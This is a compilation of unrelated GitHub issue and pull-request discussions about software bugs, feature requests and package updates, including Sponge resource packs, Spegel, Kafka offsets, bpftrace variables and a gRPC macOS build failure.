If the client sends certain packets while the server is sending a resource pack, the server currently interprets those as "the client has closed the resource pack prompt" before the client shows the prompt, prompting it to resend the resource pack request. This prevents that lag by sending custom keep-alive packets after sending the resource pack request. Only after the client acknowledges the keep-alive packet (and, therefore, has shown the resource pack request) does the server begin to assume the resource pack prompt was closed.
And just in case a malicious/poorly-written client decides to send fake "resource pack accepted" packets to the server, this PR just logs a warning and skips processing.
Fixes #1721.

The server is still flooding the client with SPacketResourcePackSend.
    @Listener
    public void handleResourcePackStatusEvent(ResourcePackStatusEvent event) {
        System.out.println(event.getStatus());
    }

 [STDOUT]: [org.spongepowered.test.TestTest:handleResourcePackStatusEvent:128]: ACCEPTED
 [STDOUT]: [org.spongepowered.test.TestTest:handleResourcePackStatusEvent:128]: ACCEPTED
 [STDOUT]: [org.spongepowered.test.TestTest:handleResourcePackStatusEvent:128]: FAILED

should be:
 [STDOUT]: [org.spongepowered.test.TestTest:handleResourcePackStatusEvent:128]: ACCEPTED
 [STDOUT]: [org.spongepowered.test.TestTest:handleResourcePackStatusEvent:128]: SUCCESSFULLY_LOADED

@ImMorpheus I'm somewhat confused by your example.

markPlayerActive() (the method we are injecting into to resend the packet to the client) is called also inside processChatMessage(CPacketChatMessage packetIn), so there's no need for you to move.

processChatMessage() is only called when the client sends a chat message to the server, not when the server sends a chat message to the client.

Isn't the packet removed from the Deque when the client accept the download ?
No, it is removed whenever the server receives a CPacketResourcePackStatus with a status different from ACCEPTED.

I keep the resource pack in the queue because the download hasn't finished yet. It is removed once the client sends SUCCESSFULLY_LOADED.

I keep the resource pack in the queue because the download hasn't finished yet. It is removed once the client sends SUCCESSFULLY_LOADED.

That's the problem. Even if the download hasn't finished, the client sent a CPacketResourcePackStatus (status: ACCEPTED). The reason the queue exists is because, quoting
The vanilla client doesn't send any resource pack status if the user presses Escape to close the prompt.
If the user moves around, they must have closed the GUI, so resend it to get a real answer.

So it should be used to resend the packet ONLY if the client doesn't answer to the SPacketResourcePackSend (with a CPacketResourcePackStatus).
Another test case would be being hit while downloading the ResourcePack:
PlayerA join the server
(...)
PlayerB join the server
server ----send-----> SPacketResourcePackSend (the packet is now in the deque)
Click yes when asked to download the resourcepack
client ----send----> CPacketResourcePackStatus (status: ACCEPTED (the download begins))
PlayerA hits PlayerB
(...) (skipping packet exchange here for clarity)
PlayerB moved so the server calls markPlayerActive()
resendLatestResourcePackRequest() is called because it was injected at head
server ----send-----> SPacketResourcePackSend (it was in the Deque)
The client accepts the pack (no prompt, when you accept a ResourcePack from a server, the setting for that server switches from Prompt to Enabled)
client ----send----> CPacketResourcePackStatus (status: ACCEPTED)
the download begi... wait oh no, I'm already downloading a ResourcePack
client ----send----> CPacketResourcePackStatus (status: FAILED)

@JBYoshi @ImMorpheus Status?

Another look at the client shows that sending a new resource pack while the client is downloading one stops the download instead of blowing up (see ResourcePackRepository.downloadResourcePack(), which calls this.clearResourcePack()). And since closing the GUI doesn't send a status message, I think it should be OK to just forward the new resource pack to the client, while using some custom keep-alive packets to determine which resource pack is being accepted. I'm still not sure how to handle the edge case where a client sends a resource pack acceptance in between receiving the resource pack request and the keep-alive packet.
I agree that this is terribly ugly, but this is the best we can do.

@JBYoshi Status?

I've implemented a new approach and am testing it right now.

~qa

Everything works as expected.

~reviewed


Merge pull request #1 from seata/develop

pull

Ⅰ. Describe what this PR did
Ⅱ. Does this pull request fix one issue?

Ⅲ. Why don't you add test cases (unit test/integration test)?
Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

pull

Codecov Report

Merging #1466 into develop will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff             @@
##             develop    #1466   +/-   ##
==========================================
  Coverage      45.68%   45.68%
  Complexity      1664     1664
==========================================
  Files            345      345
  Lines          12675    12675
  Branches        1593     1593
==========================================
  Hits            5790     5790
  Misses          6236     6236
  Partials         649      649

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 417c3ee...0a46a0b. Read the comment docs.

close


feat: Allow preferring local lsp

Note: I also cleaned up some markdown in README.md, I'd be happy to revert if you prefer the old version.
Fixes #22

Thanks, looks good. The vim.fn.executable is neat.
I will need to figure out how to write a test for it to add to existing tests since it is not a pure computation but relies on the state of the underlying system.
As a note to myself it feels process_config takes too many parameters now. It will probably need to get refactored to take a table of options. But I can do that after merge later (relying on test coverage to make sure refactoring won't break anything).


[DRAFT-PR] Fix add admin role error during the initial startup when create_admin_account configuration is false

Purpose
Draft PR for Fix add admin role error during the initial startup when create_admin_account configuration is false
Related Issue

https://github.com/wso2/product-is/issues/20379

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

PR builder started
Link: https://github.com/wso2/product-is/actions/runs/9091637970

PR builder completed
Link: https://github.com/wso2/product-is/actions/runs/9091637970
Status: success

closed since this was already fixed with: https://github.com/wso2/carbon-kernel/pull/3996


Support writing youtube video chapters as a CUE file

Checklist

[X] I'm reporting a feature request
[X] I've verified that I'm running youtube-dl version 2021.04.17
[X] I've searched the bugtracker for similar feature requests including closed ones

Description
I saw that youtube-dl supports --write-json-info, which includes the chapters of a video. It would be nice if we could get this as a CUE file format as another option. ~Winamp supports this file type as an automatic playlist generator, in a way. Poweramp does too.~ I was mistaken. Poweramp does this by default. Winamp requires a plugin.
I don't expect youtube-dl to split the resulting file for me. I just expect a CUE file to be a possible output format for metadata, like --write-json-info. Perhaps with a flag like --write-chapters-as-CUE-file or something.
The workaround is that I can take the JSON file and process it into what I want, but I would prefer it if youtube-dl could do this for me.
I wrote an application that does this that could serve as inspiration (or workaround if this issue is closed): https://bitbucket.org/jevring/youtube-dl-chapters-to-cue/src/master/

Ported @jevring script to python, with slight modifications, here.

@jevring how it support that?
not found in help

@alexeik you know, I have no idea why I wrote that. I can't find it now either. =(

thanks)


stable hlo convert

Lower stable hlo convert and add unit tests to tt-torch and tt-xla

tt-torch unit test pending

tt-torch unit test added https://github.com/tenstorrent/tt-torch/pull/8


Please support a range of Foundry and PF1e versions

I noticed that the tip of master now only supports Foundry 0.7.9. Many of us cannot upgrade Foundry core until all modules we make use of support the latest version. It would be very helpful for users if this module supported a range of Foundry core versions so that we can still obtain improvements and bugfixes without having to be at the latest versions of Foundry. Maybe matching the range of supported versions of the Pf1e system would be good, since that is a dependency of this module.
Thanks for creating this! Saves so much

Hm, i'm not sure how to handle that, as especially the PF1 System Changes with each update more or less break the functionality of SBC. I could include compatibility information for the releases (found under core/releases until i transition to githubs release system), would that help?

Hm, i'm not sure how to handle that, as especially the PF1 System Changes with each update more or less break the functionality of SBC. I could include compatibility information for the releases (found under core/releases until i transition to githubs release system), would that help?

I could include compatibility information for the releases (found under core/releases until i transition to githubs release system), would that help?

I'm not sure exactly what this is proposing (I'm not yet familiar with the details of foundry module development).
From a end-user's perspective, not having to worry at all about module compatibility is the ideal situation. The best way I know to manage that is if all modules try to support a range of versions of their immediate dependencies. This is the "treat as a library" versus "treat as an application" approach to managing version compatability (the later would pin to specific versions but increases the likelihood of version clashes among a set of modules).
On the developer side you have to pollute your code with if < versionx: do this, else: do that, which is a burden but it is a burden the developers hold instead of the users. Pinning to specific dependency versions pushes the burden to the user, but the user often doesn't have the ability to solve it easily.
I don't know another way of solving this. It's a problem that is becoming more apparent with Foundry now that the number of modules are growing. I just hit it with this particular module recently.

I could include compatibility information for the releases (found under core/releases until i transition to githubs release system), would that help?

I'm not sure exactly what this is proposing (I'm not yet familiar with the details of foundry module development).
From a end-user's perspective, not having to worry at all about module compatibility is the ideal situation. The best way I know to manage that is if all modules try to support a range of versions of their immediate dependencies. This is the "treat as a library" versus "treat as an application" approach to managing version compatability (the later would pin to specific versions but increases the likelihood of version clashes among a set of modules).
On the developer side you have to pollute your code with if < versionx: do this, else: do that, which is a burden but it is a burden the developers hold instead of the users. Pinning to specific dependency versions pushes the burden to the user, but the user often doesn't have the ability to solve it easily.
I don't know another way of solving this. It's a problem that is becoming more apparent with Foundry now that the number of modules are growing. I just hit it with this particular module recently.

You can see that PF1e at least is currently supporting 0.7.8-0.7.9: https://gitlab.com/Furyspark/foundryvtt-pathfinder1/-/blob/master/system.json#L205. Supporting at least two subsequent Foundry core versions would help.

You can see that PF1e at least is currently supporting 0.7.8-0.7.9: https://gitlab.com/Furyspark/foundryvtt-pathfinder1/-/blob/master/system.json#L205. Supporting at least two subsequent Foundry core versions would help.

Yeah, PF1e is supporting 0.7.8-0.7.9, but newer version of PF1e are incompatible to older versions, as changes are not always incremental, but supplemental or are even more in depth. I've pushed a new release using githubs system (v3.0.0-alpha2), which should be more or less usable in FoundryVTT 0.7.8 and 0.7.9, as i included the manifest file and url as well as the zip. The main manifest (which is noted in the readme) should then direct to the latest release.
For upcoming releases i'll generate the binaries and the supporting manifest, save that in the release and keep the main manifest directed to the latest release.

Yeah, PF1e is supporting 0.7.8-0.7.9, but newer version of PF1e are incompatible to older versions, as changes are not always incremental, but supplemental or are even more in depth. I've pushed a new release using githubs system (v3.0.0-alpha2), which should be more or less usable in FoundryVTT 0.7.8 and 0.7.9, as i included the manifest file and url as well as the zip. The main manifest (which is noted in the readme) should then direct to the latest release.
For upcoming releases i'll generate the binaries and the supporting manifest, save that in the release and keep the main manifest directed to the latest release.

Switched to github releases and updated packages on the foundry package manager.


Possible to use different interpreters?

It might seem awkward but just wondering whether there is a possibility (or a need) to configure the plugin to use different interpreters. Because I have not seen any documentation that explain this explicitly (against or for). Is there a way to use different python interpreter in the rule engine?
Actually 2 things:

If I have multiple python versions in the OS where the iRODS server run, can I ask the plugin to choose one specific version?
Also can I create/load different environments for different rules' requirements?

There is no way to change the interpreter at runtime - it is going to use the interpreter that the plugin was compiled with (it uses Boost.Python) - so the interpreter is 'baked in' to the compiled C++ shared object (.so).

To answer your second question:

Also can I create/load different environments for different rules' requirements?

The plugin does not support virtual python environments.

Thanks for the both explanations. But I have still one question to understand it better.
In a python rule we need to use a python library which is compatible with python3.10+. But the default interpreter (in al8) that the plugin is compiled with is python3.6. So I am investigating how to use that library in the PREP.

There is no way to change the interpreter at runtime - it is going to use the interpreter that the plugin was compiled with (it uses Boost.Python) - so the interpreter is 'baked in' to the compiled C++ shared object (.so).

Does this mean that the plugin can be compiled with a different interpreter (say python3.10) and the rpm can be installed in an iRODS server that runs on an OS which by default has python3.6 interpreter? So that the libirods_rule_engine_plugin-python.so that build with the python3.10 exist in the server.

Packaging will be a little messy, but yes, you can build the plugin against any cpython interpreter. I think boost.python will also need to be compiled against the same interpreter though.

Looks like Boost.Python can be built against multiple Python versions at the same time, and will produce multiple .sos.
https://stackoverflow.com/a/56241975
We have not tested this yet.  We are committed, so far, only to building for the system Python on a particular OS distribution.


CoevolveSynced and Synapse benchmarks WIP

This adds benchmark for the new aggregator which is under review CoevolveSynced (PR SciML/JumpProcesses.jl#315) as well as a new jump model to be benchmarked against, the synapse model.
Discussions on the synapse model can be found in PR rveltz/SynapseElife#1 and the discourse thread.
You probably want to review this PR only once CoevolveSynced has been reviewed (PR SciML/JumpProcesses.jl#315) and incorporated into the main branch of JumpProcesses.jl

┌ Info: last bit
--
  | │   length(res.xcsol.t) = 3373
  | │   tt[end] =<PHONE_NUMBER>961502
  | └   p_synapse.t_end = 1000.0
  | ┌ Warning: The simulation did not reach requested simulated time.
  | └ @ Synapse /cache/julia-buildkite-plugin/depots/5b300254-1738-4989-ae0a-f4d2d937f953/packages/Synapse/0lKxH/src/Solve.jl:236

Lots of them are getting stuck right near the end. Maybe double the allowed time.

The problem was the saving callback. I think I've fixed it now, let's see.

That's odd that some say unstable at the very end and never earlier.

Is it only checking for instability at the end?

Indeed, the code only checks whether the simulation reached the desired simulation time at the end.
There are three stages in the simulation:

t ∈ [0, 500]: Glutamate is off. There are no spikes.
t ∈ [500, 501]: Glutamate is on. Spike.
t ∈ [501, 1_000]: Glutamate is off. Recovery.

The plot below illustrates one of the variables:
There's a comment on top of the last simulation bit that says:

reaching tend: we simulate the synapse with Glutamate OFF until simulation end time required by the user. In  most protocol, this is taking most of the time.

The instability only takes place when solving via PDMP. But, I am not sure why this happens only in a few of the cases (6 / 50 simulations raise a stability warning, in 2 / 6 warnings the simulation is aborted before reaching the end). I think it's problem specific, might be related with the stiffness of the problem on the recovery bit.

I bumped CI so it matches v1.9 as well

@ChrisRackauckas BuildKite is stuck at Dynamically launch run_tutorial.yml. Is there anything we can do about it?


Add halvves/zazu-giphy to plugin list

Hey guys. I'd like to add my plugin halvves/zazu-giphy to the plugin list on the website. Let me know if anything needs changed.
Thanks!

I love it. :1st_place_medal:


spegel fails to trigger pulling new images

Spegel version
v0.22.0
Kubernetes distribution
k3s
Kubernetes version
v1.29.0
CNI
flannel
Describe the bug
My spegel setup is failing on me. How could I debug what's happening?
I get an error 404 if I try to pull the manifest directly from the server running k8s:
curl -v "http://localhost:30021/v2/isindir/sops-secrets-operator/manifests/0.12.3?ns=docker.io"
However, if I pull the image with crictl beforehand, the curl command above suddenly starts working:
k3s crictl pull docker.io/isindir/sops-secrets-operator:0.12.3
That suggests me that spegel won't trigger pulling the image, only tries to look up the existing ones. That is not the expected behavior, right?
My hosts.toml for docker.io is the following:
server = 'https://registry-1.docker.io'

[host]
[host.'http://MYIP:30020']
capabilities = ['pull', 'resolve']

[host.'http://MYIP:30021']
capabilities = ['pull', 'resolve']

In the spegel logs this is what I see:
{"time":"2024-05-31T00:33:33.002503766Z","level":"INFO","source":{"function":"github.com/spegel-org/spegel/pkg/registry.(*Registry).handleMirror","file":"/build/pkg/registry/registry.go","line":236},"msg":"handling mirror request from external node","key":"docker.io/isindir/sops-secrets-operator:0.12.3","path":"/v2/isindir/sops-secrets-operator/manifests/0.12.3","ip":"<IP_ADDRESS>"}
{"time":"2024-05-31T00:33:33.006250663Z","level":"ERROR","source":{"function":"github.com/spegel-org/spegel/pkg/registry.(*Registry).handle.func1","file":"/build/pkg/registry/registry.go","line":135},"msg":"","err":"mirror resolve retries exhausted for key: docker.io/isindir/sops-secrets-operator:0.12.3","path":"/v2/isindir/sops-secrets-operator/manifests/0.12.3","status":404,"method":"HEAD","latency":"3.795709ms","ip":"<IP_ADDRESS>"}

Do you have any suggestion what is going wrong? Thanks!

That is exactly how spegel is supposed to work, with one critical caveat. You can rerun your experiment, but crictl pull the image on another node, and spegel should still find it.
Put differently, spegel is not a pull-through cache, but rather a side-car that distributes the existing containerd stores between nodes. It will never initiate communication with external repositories, because containerd is eminently capable of doing that on its own.
spegel operates as a containerd mirror and containerd reacts to the spegel 404 by moving on to the next mirror, eventually falling back to its internal image pulling. Hence, from from an external observer's perspective the spegel 404 is not visible.

I think that the explanation covers most of it.
Closing as this is not a bug but rather expected behavior.


How can I get offset by time?

I use Client#GetOffset to get offset, but time do not effect
for example:
config := sarama.NewConfig()
client, err := sarama.NewClient([]string{"<IP_ADDRESS>:9092", "<IP_ADDRESS>:9092"}, config)
fmt.Println(client.GetOffset("kubernetes_logger", 0, sarama.OffsetOldest))
fmt.Println(client.GetOffset("kubernetes_logger", 0, sarama.OffsetNewest))
timeUnix := (time.Now().UnixNano() - 3600 * int64(time.Second))
fmt.Println(client.GetOffset("kubernetes_logger", 0, timeUnix))
The result is:
25815497
13825148
25815497
Why the "time" param is not effect ?

Kafka only stores a single timestamp per log segment file, so the time param is an approximation. See https://cfchou.github.io/blog/2015/04/23/a-closer-look-at-kafka-offsetrequest/ for a more in-depth explanation (it assumes you're using the java client, but the principles are the same).

This will change once KIP-35 is in, but for now yep.

@eapache
ohhh, I know... Thank you very much!!

Kafka only stores a single timestamp per log segment file, so the time param is an approximation. See cfchou.github.io/blog/2015/04/23/a-closer-look-at-kafka-offsetrequest for a more in-depth explanation (it assumes you're using the java client, but the principles are the same).

The link is dead, maybe there is a new solution to this ?


Fix method dialog label

In the method pick dialog, the label that appears when no methods are found could be at wrong position (probably due to being child of Tree).

Also if you selected an empty script, the label did not appear due to empty root item:

With this PR the label is centered in the dialog and the "Attached Script" item only appears if there are any script methods available to pick.

This is probably rooted in something unrelated, but because the label is directly parented to a Window node, it doesn't always work. If you open a dialog where it is supposed to be immediately visible, you can see it. But if you open a dialog where there are valid methods, and then filter it, it does not appear. This is repeatable, and you can try it with either case in any order, and it will still happen.
It is also possible to "cure" the editor and make the label appear correctly until you restart, if you close the dialog in a state where the label is supposed to be visible. Like, if you filter the dialog so it is supposed to appear (and it doesn't), then close it and open it again, the label will start appearing correctly after that.
Seems to be some desync issue with the visibility propagation when we try to immediately hide it, I think. Still looking into it, but just wanted to leave a comment so we don't merge this in the meantime and get unexpected reports.

I think this is related to the fact that we never update parent's visibility for windows when the node itself is hidden. Because this is explicitly disabled in CanvasItem::_window_visibility_changed(). I'll try removing the check, it should be safe.

Thanks!


Completions for kwargs showing while in the middle of a string

Environment data

Language Server version: 2020.9.5
OS and version: Windows, VSCode version 1.49
Python version (& distribution if applicable, e.g. Anaconda): 3.8.5

Expected behaviour
I don't get completions while in the middle of typing out a string-type param.
Actual behaviour
If I type "." while in a string-type param while invoking a function, I get a completion list of kwargs.

This is related to #163, though we don't want to eliminate completions in strings in the context of type annotations.

This issue has been fixed in version 2020.11.1, which we've just released. You can find the changelog here: https://github.com/microsoft/pylance-release/blob/master/CHANGELOG.md#2020111-11-november-2020


Im unable to ping feathers server from react native.

ERROR
12:02:42 PM
{
  "line": 97280,
  "column": 24,
  "sourceURL": "http://packager.ub-4yw.libertytrust.jobs-x-15.exp.direct:80/main.bundle?platform=ios&dev=true&strict=false&minify=false&hot=true&assetPlugin=expo/tools/hashAssetFiles",
  "config": {
    "transformRequest": {},
    "transformResponse": {},
    "timeout": 0,
    "xsrfCookieName": "XSRF-TOKEN",
    "xsrfHeaderName": "X-XSRF-TOKEN",
    "maxContentLength": -1,
    "headers": {
      "Accept": "application/json, text/plain, */*",
      "Content-Type": "application/json;charset=utf-8"
    },
    "method": "post",
    "url": "http://localhost:3030/authentication",
    "data": "{\"email\":\"liberty@gmail.com\",\"password\":\"password\",\"strategy\":\"local\"}"
  },
  "request": {
    "UNSENT": 0,
    "OPENED": 1,
    "HEADERS_RECEIVED": 2,
    "LOADING": 3,
    "DONE": 4,
    "readyState": 4,
    "status": 0,
    "timeout": 0,
    "withCredentials": false,
    "upload": {},
    "_aborted": false,
    "_hasError": true,
    "_method": "POST",
    "_response": "Could not connect to the server.",
    "_url": "http://localhost:3030/authentication",
    "_timedOut": false,
    "_trackingName": "unknown",
    "_incrementalEvents": false,
    "_requestId": null,
    "_headers": {
      "accept": "application/json, text/plain, */*",
      "content-type": "application/json;charset=utf-8"
    },
    "_responseType": "",
    "_sent": true,
    "_lowerCaseResponseHeaders": {},
    "_subscriptions": []
  }
}

export * from './auth_actions';
export * from './job_actions';

import axios from 'axios';

// const ROOT_URL = 'http://localhost:3030/';

const ROOT_URL = 'http://localhost:3030';

export function signinUser({email, password}) {
  console.log('9- calling the signinUser inside the actions file');
  // redux thunk gives us access to the Dispatch
  return function (dispatch) {
                                        // { email: email, password: password }
    // axios.post( `${ROOT_URL}/authentication`, {email,password, strategy: 'local'} )

    axios.post( `${ROOT_URL}/authentication`, {email: email, password:password, strategy: 'local'})
    .then(response => {
        console.log('it worked');
        console.log(response);
    }).catch(err => {
        console.log('ERROR');
        console.log(err);
    });

    // dispatch({ type: })
    // submit email password to server

    // if reqeust is good, we'll update the state to indicate user is authetnicated.

    // save the JWT token

    // redirect to route/feature  navigate 'mAp'

    //  if error : show errror

  }
}

//

Steps to reproduce
(First please check that this issue is not already solved as described
here)

[ ] Tell us what broke. The more detailed the better.
[ ] If you can, please create a simple example that reproduces the issue and link to a gist, jsbin, repo, etc.

Expected behavior
Tell us what should happen
Actual behavior
Tell us what happens instead
System configuration
Tell us about the applicable parts of your setup.
Module versions (especially the part that's not working):
NodeJS version:
Operating System:
Browser Version:
React Native Version:
Module Loader:

@jpca999 the request is being made to "_url": "http://localhost:3030/authentication",.
Is the Feathers server on the same machine as http://packager.ub-4yw.libertytrust.jobs-x-15.exp.direct:80
???

Thx
Sent from my iPhone

On Jul 4, 2017, at 6:08 PM, David Luecke<EMAIL_ADDRESS>wrote:
Closed #537.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub, or mute the thread.

Oh forgot the reference: https://github.com/feathersjs/feathers-authentication-management/issues/50


chore: update tooltip to same as ui package

What does this PR do?
This just updates the Tooltip component that will be used in next PRs. It is the exact copy of the ui package https://github.com/containers/podman-desktop/pull/7150 . So i can progress until we have the ui available here
Screenshot / video of UI
N/A
What issues does this PR fix or reference?
part of #977
How to test this PR?
N/A

Updated as https://github.com/containers/podman-desktop/pull/7150 has been merged.


implicitly declare variables to 0 if used but not defined

Preparing for https://github.com/iovisor/bpftrace/issues/53 (might also be used to refactor post-increment).
cc @brendangregg @dalehamel

I think this is a much cleaner approach with less duplication, as it will allow for ++ and -- to be incremented largely in the parser by just passing literals and using the same approach as you did for compound operations.
I'm not sure if there's a drawback to implicitly declaring all variables to 0, but it makes the behavior more consistent.
I'm in favor of this (but haven't tried it).

makes sense to me, thanks!

What's the use case for this? I thought it would probably be a mistake by the user if they use a variable before setting it. For maps this makes sense because they hold their values and their types get propagated backwards, but I'm not sure about doing this for variables.
I think the old error message was better for a program like this:
[alastair@arch build-debug]$ sudo ./src/bpftrace -e 'BEGIN { @y = $x; $x = "a" }'
Type mismatch for $x: trying to assign value of type 'string'
	when variable already contains a value of type 'integer

Oh, missed it was for the parser changes for +=
Still I wonder if there would be another way to go about this

IMO it's easier for the users if maps and variables have the same behavior regarding undeclared/implicitly declared variables. It makes the language simpler without affecting its versatility.

I think the old error message was better for a program like this

Agreed, maybe we can improve this scenario.

I'm not convinced about that, given that maps retain their values while variables don't. We don't actually allow undefined maps so this change makes maps and variables behave differently in that regard:
[alastair@arch src]$ sudo ./bpftrace -e 'BEGIN { printf("%d\n", @x) }'
Undefined map: @x
printf: %d specifier expects a value of type integer (none supplied)

[alastair@arch src]$ sudo ./bpftrace -e 'BEGIN { printf("%d\n", $x) }'
Attaching 1 probe...
0
^C

Is there a situation where someone would want variables to default to ints in their scripts?

We don't actually allow undefined maps so this change makes maps and variables behave differently in that regard

The goal was to have them behave equally, but I missed this scenario. Thank you for pointing this out, I'll take a look to see how we can improve this situation.


Make command /portal make_portal usable for command block

You can create a template portal somewhere and use cb_set_portal_destination and cb_complete_bi_way_portal to create the portal


stm32flash: 0.6 -> 0.7

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://repology.org/metapackage/stm32flash/versions.
meta.description for stm32flash is: "Open source flash program for the STM32 ARM processors using the ST bootloader"
meta.homepage for stm32flash is: "https://sourceforge.net/projects/stm32flash/"
meta.changelog for stm32flash is: ""
Updates performed

Version update

To inspect upstream changes
Impact

Checks done (click to expand)

built on NixOS
The tests defined in passthru.tests, if any, passed
Warning: no invocation of /nix/store/zzvjr7wg3rn5lx76yw0x8ff8l2qaqfkd-stm32flash-0.7/bin/stm32flash had a zero exit code or showed the expected version
0 of 1 passed binary check by having a zero exit code.
0 of 1 passed binary check by having the new version present in output.
found 0.7 with grep in /nix/store/zzvjr7wg3rn5lx76yw0x8ff8l2qaqfkd-stm32flash-0.7
found 0.7 in filename of file in /nix/store/zzvjr7wg3rn5lx76yw0x8ff8l2qaqfkd-stm32flash-0.7

Rebuild report (if merged into master) (click to expand)

2 total rebuild path(s)

1 package rebuild(s)

1 x86_64-linux rebuild(s)
1 x86_64-darwin rebuild(s)

First fifty rebuilds by attrpath
stm32flash

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/zzvjr7wg3rn5lx76yw0x8ff8l2qaqfkd-stm32flash-0.7 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A stm32flash https://github.com/r-ryantm/nixpkgs/archive/08efd19bd34798c47f558b2c2c31034b64458250.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/zzvjr7wg3rn5lx76yw0x8ff8l2qaqfkd-stm32flash-0.7
ls -la /nix/store/zzvjr7wg3rn5lx76yw0x8ff8l2qaqfkd-stm32flash-0.7/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review run on x86_64-linux 1

1 package built:

stm32flash

Maintainer pings
cc @elitak for testing.

Result of nixpkgs-review pr 167085 run on x86_64-linux 1

1 package built:

stm32flash


pthread_mutex_lock assertion failure

Install gRPC from homebrew using brew tap grpc/grpc and brew install --with-plugins grpc. Then I build examples/cpp/hello_world and ran the ./greeter_server resulting in:
eduroam-169-233-225-116:helloworld nwatkins$ ./greeter_server
E0822 15:00:41.676982000<PHONE_NUMBER>07008 sync_posix.c:51] assertion failed: pthread_mutex_lock(mu) == 0
Abort trap: 6

Can confirm this with github version 2a69139aa7f609e439c24a46754252a5f9d37500 (1.0.0 release) on OSX

The problem seems to be solved on master ( 0e43d67602096a5c4aeab4632579bc56cf692553 )

confirm it's fixed on 0e43d67

Anyway to force homebrew to upgrade to master since its stuck on the 1.0.0 cut?

So, master is 1.1.0-dev, and we won't release it for a while. Could you try with the current HEAD of the v1.0.x branch ? d7ff4ff40071d2b486a052183e3e9f9382afb745 that is. If it still happens there, we need to figure out which commit in master actually fixes it, and backport that to the v1.0.x branch.

Just tried it, it also fails with d7ff4ff

Can you describe a bit more what is it you're doing to test this from git directly ? I just tried building d7ff4ff40071d2b486a052183e3e9f9382afb745 on Mac, and the hello world's greeter server, and everything's fine on my end.
We need a bit more data.

alright.
➜  github gcc --version
Configured with: --prefix=/Applications/Xcode.app/Contents/Developer/usr --with-gxx-include-dir=/Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX10.11.sdk/usr/include/c++/4.2.1
Apple LLVM version 7.3.0 (clang-703.0.31)
Target: x86_64-apple-darwin15.6.0
Thread model: posix
InstalledDir: /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin
➜  github protoc --version
libprotoc 3.0.0
➜  github git clone git@github.com:grpc/grpc.git
Cloning into 'grpc'...
remote: Counting objects: 194457, done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 194457 (delta 0), reused 0 (delta 0), pack-reused 194449
Receiving objects: 100% (194457/194457), 80.31 MiB | 138.00 KiB/s, done.
Resolving deltas: 100% (146266/146266), done.
Checking connectivity... done.
➜  github cd grpc
➜  grpc git:(master) git checkout d7ff4ff
Note: checking out 'd7ff4ff'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by performing another checkout.

If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -b with the checkout command again. Example:

  git checkout -b <new-branch-name>

HEAD is now at d7ff4ff... Merge pull request #7817 from stanley-cheung/php-update-composer-v1_0
➜  grpc git:(d7ff4ff) git submodule update --init
[...]
 grpc git:(d7ff4ff) make -j8
➜  grpc git:(d7ff4ff) sudo make install
[...]
➜  helloworld git:(d7ff4ff) make
protoc -I ../../protos --cpp_out=. ../../protos/helloworld.proto
g++ -std=c++11 -I/usr/local/include -pthread  -c -o helloworld.pb.o helloworld.pb.cc
protoc -I ../../protos --grpc_out=. --plugin=protoc-gen-grpc=`which grpc_cpp_plugin` ../../protos/helloworld.proto
g++ -std=c++11 -I/usr/local/include -pthread  -c -o helloworld.grpc.pb.o helloworld.grpc.pb.cc
g++ -std=c++11 -I/usr/local/include -pthread  -c -o greeter_client.o greeter_client.cc
g++ helloworld.pb.o helloworld.grpc.pb.o greeter_client.o -L/usr/local/lib `pkg-config --libs grpc++ grpc` -Wl,--no-as-needed -lgrpc++_reflection -Wl,--as-needed -lprotobuf -lpthread -ldl -o greeter_client
ld: unknown option: --no-as-needed
clang: error: linker command failed with exit code 1 (use -v to see invocation)
make: *** [greeter_client] Error 1
➜  helloworld git:(d7ff4ff) ✗

It compiles w/o --no-as-needed and --as-needed but then I get the pthread_mutex_lock assertion failure
➜  helloworld git:(d7ff4ff) ✗ vim Makefile
➜  helloworld git:(d7ff4ff) ✗ make
g++ helloworld.pb.o helloworld.grpc.pb.o greeter_client.o -L/usr/local/lib pkg-config --libs grpc++ grpc -Wl -lgrpc++_reflection -Wl -lprotobuf -lpthread -ldl -o greeter_client
g++ -std=c++11 -I/usr/local/include -pthread  -c -o greeter_server.o greeter_server.cc
g++ helloworld.pb.o helloworld.grpc.pb.o greeter_server.o -L/usr/local/lib pkg-config --libs grpc++ grpc -Wl -lgrpc++_reflection -Wl -lprotobuf -lpthread -ldl -o greeter_server
g++ -std=c++11 -I/usr/local/include -pthread  -c -o greeter_async_client.o greeter_async_client.cc
g++ helloworld.pb.o helloworld.grpc.pb.o greeter_async_client.o -L/usr/local/lib pkg-config --libs grpc++ grpc -Wl -lgrpc++_reflection -Wl -lprotobuf -lpthread -ldl -o greeter_async_client
g++ -std=c++11 -I/usr/local/include -pthread  -c -o greeter_async_client2.o greeter_async_client2.cc
g++ helloworld.pb.o helloworld.grpc.pb.o greeter_async_client2.o -L/usr/local/lib pkg-config --libs grpc++ grpc -Wl -lgrpc++_reflection -Wl -lprotobuf -lpthread -ldl -o greeter_async_client2
